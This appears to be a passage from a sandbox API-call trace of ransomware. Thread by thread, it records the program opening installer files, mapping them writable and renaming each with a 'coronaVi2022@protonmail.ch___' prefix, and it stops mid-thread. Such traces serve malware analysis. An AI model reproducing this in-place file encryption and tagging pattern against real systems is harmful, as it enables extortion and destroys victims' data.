	[0082.107] GetCurrentThreadId () returned 0x13ec
	[0082.107] FlushFileBuffers (hFile=0x4b0) returned 1
	[0082.173] CloseHandle (hObject=0x4b0) returned 1
	[0082.177] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.177] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.177] free (_Block=0x2f13060) 
	[0082.177] RtlExitUserThread (Status=0x0) 

Thread:
	id = 128
	os_tid = 0xe98

	[0082.132] _alloca_probe () returned 0x40328a
	[0082.132] GetCurrentThreadId () returned 0xe98
	[0082.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0082.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4
	[0082.133] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5827) returned 1
	[0082.133] CreateFileMappingA (hFile=0x4b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16c5, lpName=0x0) returned 0x4b8
	[0082.133] MapViewOfFile (hFileMappingObject=0x4b8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.135] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.135] CloseHandle (hObject=0x4b8) returned 1
	[0082.135] GetCurrentThreadId () returned 0xe98
	[0082.135] FlushFileBuffers (hFile=0x4b4) returned 1
	[0082.180] CloseHandle (hObject=0x4b4) returned 1
	[0082.182] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.182] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.182] free (_Block=0x2f25530) 
	[0082.182] RtlExitUserThread (Status=0x0) 

Thread:
	id = 129
	os_tid = 0x1010

	[0082.138] _alloca_probe () returned 0x40328a
	[0082.139] GetCurrentThreadId () returned 0x1010
	[0082.139] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc
	[0082.139] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=60684) returned 1
	[0082.139] CreateFileMappingA (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed17, lpName=0x0) returned 0x4c0
	[0082.139] MapViewOfFile (hFileMappingObject=0x4c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.151] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.152] CloseHandle (hObject=0x4c0) returned 1
	[0082.152] GetCurrentThreadId () returned 0x1010
	[0082.152] FlushFileBuffers (hFile=0x4bc) returned 1
	[0082.268] CloseHandle (hObject=0x4bc) returned 1
	[0082.271] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.271] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.272] free (_Block=0x2f26538) 
	[0082.272] RtlExitUserThread (Status=0x0) 

Thread:
	id = 130
	os_tid = 0x900

	[0082.188] _alloca_probe () returned 0x40328a
	[0082.189] GetCurrentThreadId () returned 0x900
	[0082.189] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0082.191] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4
	[0082.191] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=4015) returned 1
	[0082.192] CreateFileMappingA (hFile=0x4c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfbd, lpName=0x0) returned 0x4b4
	[0082.192] MapViewOfFile (hFileMappingObject=0x4b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.193] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.193] CloseHandle (hObject=0x4b4) returned 1
	[0082.193] GetCurrentThreadId () returned 0x900
	[0082.193] FlushFileBuffers (hFile=0x4c4) returned 1
	[0082.195] CloseHandle (hObject=0x4c4) returned 1
	[0082.197] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.197] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.198] free (_Block=0x2f13060) 
	[0082.198] RtlExitUserThread (Status=0x0) 

Thread:
	id = 131
	os_tid = 0xa50

	[0082.200] _alloca_probe () returned 0x40328a
	[0082.200] GetCurrentThreadId () returned 0xa50
	[0082.200] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4
	[0082.201] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=80254) returned 1
	[0082.201] CreateFileMappingA (hFile=0x4b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1398b, lpName=0x0) returned 0x4b0
	[0082.201] MapViewOfFile (hFileMappingObject=0x4b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.217] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.218] CloseHandle (hObject=0x4b0) returned 1
	[0082.218] GetCurrentThreadId () returned 0xa50
	[0082.218] FlushFileBuffers (hFile=0x4b4) returned 1
	[0082.273] CloseHandle (hObject=0x4b4) returned 1
	[0082.276] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.276] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.277] free (_Block=0x2f13060) 
	[0082.277] RtlExitUserThread (Status=0x0) 

Thread:
	id = 132
	os_tid = 0x704

	[0082.233] _alloca_probe () returned 0x40328a
	[0082.233] GetCurrentThreadId () returned 0x704
	[0082.233] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0082.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8
	[0082.234] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6309) returned 1
	[0082.234] CreateFileMappingA (hFile=0x4c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18a9, lpName=0x0) returned 0x4cc
	[0082.234] MapViewOfFile (hFileMappingObject=0x4cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.236] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.236] CloseHandle (hObject=0x4cc) returned 1
	[0082.236] GetCurrentThreadId () returned 0x704
	[0082.236] FlushFileBuffers (hFile=0x4c8) returned 1
	[0082.410] CloseHandle (hObject=0x4c8) returned 1
	[0082.411] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.411] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.412] free (_Block=0x2f28548) 
	[0082.412] RtlExitUserThread (Status=0x0) 

Thread:
	id = 133
	os_tid = 0x11ac

	[0082.238] _alloca_probe () returned 0x40328a
	[0082.239] GetCurrentThreadId () returned 0x11ac
	[0082.239] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0
	[0082.239] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=60816) returned 1
	[0082.240] CreateFileMappingA (hFile=0x4d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed90, lpName=0x0) returned 0x4d4
	[0082.240] MapViewOfFile (hFileMappingObject=0x4d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0082.251] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0082.252] CloseHandle (hObject=0x4d4) returned 1
	[0082.252] GetCurrentThreadId () returned 0x11ac
	[0082.252] FlushFileBuffers (hFile=0x4d0) returned 1
	[0082.300] CloseHandle (hObject=0x4d0) returned 1
	[0082.302] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.302] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.303] free (_Block=0x2f29550) 
	[0082.303] RtlExitUserThread (Status=0x0) 

Thread:
	id = 134
	os_tid = 0x11d0

	[0082.286] _alloca_probe () returned 0x40328a
	[0082.287] GetCurrentThreadId () returned 0x11d0
	[0082.287] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x80) returned 1
	[0082.287] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc
	[0082.287] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=3069) returned 1
	[0082.287] CreateFileMappingA (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x4d4
	[0082.287] MapViewOfFile (hFileMappingObject=0x4d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.289] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.289] CloseHandle (hObject=0x4d4) returned 1
	[0082.289] GetCurrentThreadId () returned 0x11d0
	[0082.289] FlushFileBuffers (hFile=0x4bc) returned 1
	[0082.293] CloseHandle (hObject=0x4bc) returned 1
	[0082.295] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\coronaVi2022@protonmail.ch___eula.rtf") returned 64
	[0082.295] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\coronaVi2022@protonmail.ch___eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\coronavi2022@protonmail.ch___eula.rtf")) returned 1
	[0082.296] free (_Block=0x2f26538) 
	[0082.296] RtlExitUserThread (Status=0x0) 

Thread:
	id = 135
	os_tid = 0x994

	[0082.312] _alloca_probe () returned 0x40328a
	[0082.313] GetCurrentThreadId () returned 0x994
	[0082.313] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x80) returned 1
	[0082.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc
	[0082.313] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=79996) returned 1
	[0082.313] CreateFileMappingA (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13887, lpName=0x0) returned 0x4d4
	[0082.314] MapViewOfFile (hFileMappingObject=0x4d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.331] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.331] CloseHandle (hObject=0x4d4) returned 1
	[0082.332] GetCurrentThreadId () returned 0x994
	[0082.332] FlushFileBuffers (hFile=0x4bc) returned 1
	[0082.572] CloseHandle (hObject=0x4bc) returned 1
	[0082.575] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\coronaVi2022@protonmail.ch___LocalizedData.xml") returned 73
	[0082.576] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\coronaVi2022@protonmail.ch___LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\coronavi2022@protonmail.ch___localizeddata.xml")) returned 1
	[0082.576] free (_Block=0x2f26538) 
	[0082.576] RtlExitUserThread (Status=0x0) 

Thread:
	id = 136
	os_tid = 0x11c0

	[0082.351] _alloca_probe () returned 0x40328a
	[0082.351] GetCurrentThreadId () returned 0x11c0
	[0082.351] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1
	[0082.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8
	[0082.352] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=201796) returned 1
	[0082.352] CreateFileMappingA (hFile=0x4d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31447, lpName=0x0) returned 0x4dc
	[0082.352] MapViewOfFile (hFileMappingObject=0x4dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.389] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.391] CloseHandle (hObject=0x4dc) returned 1
	[0082.391] GetCurrentThreadId () returned 0x11c0
	[0082.391] FlushFileBuffers (hFile=0x4d8) returned 1
	[0082.393] CloseHandle (hObject=0x4d8) returned 1
	[0082.400] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\coronaVi2022@protonmail.ch___Parameterinfo.xml") returned 75
	[0082.400] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\coronaVi2022@protonmail.ch___Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\coronavi2022@protonmail.ch___parameterinfo.xml")) returned 1
	[0082.400] free (_Block=0x2f2a558) 
	[0082.400] RtlExitUserThread (Status=0x0) 

Thread:
	id = 137
	os_tid = 0x1344

	[0082.422] _alloca_probe () returned 0x40328a
	[0082.423] GetCurrentThreadId () returned 0x1344
	[0082.423] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x80) returned 1
	[0082.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8
	[0082.424] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x354ff5c | out: lpFileSize=0x354ff5c*=39042) returned 1
	[0082.424] CreateFileMappingA (hFile=0x4d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9883, lpName=0x0) returned 0x4dc
	[0082.424] MapViewOfFile (hFileMappingObject=0x4dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0082.432] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0082.432] CloseHandle (hObject=0x4dc) returned 1
	[0082.432] GetCurrentThreadId () returned 0x1344
	[0082.432] FlushFileBuffers (hFile=0x4d8) returned 1
	[0082.434] CloseHandle (hObject=0x4d8) returned 1
	[0082.437] _swprintf (in: param_1=0x3549f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\coronaVi2022@protonmail.ch___UiInfo.xml") returned 68
	[0082.437] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\coronaVi2022@protonmail.ch___UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\coronavi2022@protonmail.ch___uiinfo.xml")) returned 1
	[0082.439] free (_Block=0x2f2b560) 
	[0082.439] RtlExitUserThread (Status=0x0) 

Thread:
	id = 138
	os_tid = 0x11e4

	[0082.528] _alloca_probe () returned 0x40328a
	[0082.529] GetCurrentThreadId () returned 0x11e4
	[0082.529] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1
	[0082.529] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8
	[0082.529] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=93314) returned 1
	[0082.529] CreateFileMappingA (hFile=0x2a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16c83, lpName=0x0) returned 0x4e0
	[0082.529] MapViewOfFile (hFileMappingObject=0x4e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.547] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.548] CloseHandle (hObject=0x4e0) returned 1
	[0082.548] GetCurrentThreadId () returned 0x11e4
	[0082.548] FlushFileBuffers (hFile=0x2a8) returned 1
	[0082.653] CloseHandle (hObject=0x2a8) returned 1
	[0082.657] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\coronaVi2022@protonmail.ch___Parameterinfo.xml") returned 77
	[0082.657] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\coronaVi2022@protonmail.ch___Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\coronavi2022@protonmail.ch___parameterinfo.xml")) returned 1
	[0082.658] free (_Block=0x2f2b560) 
	[0082.658] RtlExitUserThread (Status=0x0) 

Thread:
	id = 139
	os_tid = 0x10f8

	[0082.553] _alloca_probe () returned 0x40328a
	[0082.553] GetCurrentThreadId () returned 0x10f8
	[0082.553] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x80) returned 1
	[0082.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0082.554] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=39050) returned 1
	[0082.554] CreateFileMappingA (hFile=0x4e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9893, lpName=0x0) returned 0x4e8
	[0082.554] MapViewOfFile (hFileMappingObject=0x4e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.562] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.563] CloseHandle (hObject=0x4e8) returned 1
	[0082.563] GetCurrentThreadId () returned 0x10f8
	[0082.563] FlushFileBuffers (hFile=0x4e4) returned 1
	[0082.663] CloseHandle (hObject=0x4e4) returned 1
	[0082.665] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\coronaVi2022@protonmail.ch___UiInfo.xml") returned 70
	[0082.665] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\coronaVi2022@protonmail.ch___UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\coronavi2022@protonmail.ch___uiinfo.xml")) returned 1
	[0082.668] free (_Block=0x2f2c568) 
	[0082.668] RtlExitUserThread (Status=0x0) 

Thread:
	id = 140
	os_tid = 0x131c

	[0082.603] _alloca_probe () returned 0x40328a
	[0082.603] GetCurrentThreadId () returned 0x131c
	[0082.603] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x80) returned 1
	[0082.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc
	[0082.604] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=3628) returned 1
	[0082.604] CreateFileMappingA (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe37, lpName=0x0) returned 0x4e8
	[0082.605] MapViewOfFile (hFileMappingObject=0x4e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.606] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.606] CloseHandle (hObject=0x4e8) returned 1
	[0082.606] GetCurrentThreadId () returned 0x131c
	[0082.606] FlushFileBuffers (hFile=0x4bc) returned 1
	[0082.847] CloseHandle (hObject=0x4bc) returned 1
	[0082.849] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___header.bmp") returned 61
	[0082.849] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___header.bmp" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___header.bmp")) returned 1
	[0082.850] free (_Block=0x2f2d570) 
	[0082.850] RtlExitUserThread (Status=0x0) 

Thread:
	id = 141
	os_tid = 0xe70

	[0082.675] _alloca_probe () returned 0x40328a
	[0082.676] GetCurrentThreadId () returned 0xe70
	[0082.676] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x80) returned 1
	[0082.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8
